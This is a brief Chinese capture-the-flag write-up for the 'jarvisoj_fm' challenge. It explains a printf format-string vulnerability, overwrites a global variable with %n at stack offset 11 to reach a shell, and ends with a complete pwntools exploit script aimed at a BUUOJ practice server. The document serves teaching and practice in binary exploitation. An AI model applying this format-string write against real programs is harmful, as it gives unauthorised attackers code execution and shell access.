jarvisoj_fm
在ida中查看伪代码
发现第10行存在格式化字符串漏洞,结合程序流程只要x=4就可以拿到shell,跟进x看看
这里的x值为3,我们需要将其修改为4
这就需要我们通过%n来对任意地址进行修改,一个很巧的原因,x为4,而地址本身就是4字节,所以格式化字符串的构造就很简单,下面确定输出点的位置
可以用下图的方法直接尝试看输入的参数在第几个位置
(图中我们输入了‘aaaa’,刚好对应第11个位置‘61616161’)
则可以构造格式化字符串
printf("%11$n")
完整exp
from pwn import *
context(os='linux', arch='i386', log_level='debug')
r=remote('node4.buuoj.cn',26117)
# r = process('./pwn')
# gdb.attach(r)
x_addr = 0x0804A02C
payload = p32(x_addr)
payload += b'%11$n'
r.sendline(payload)
r.interactive()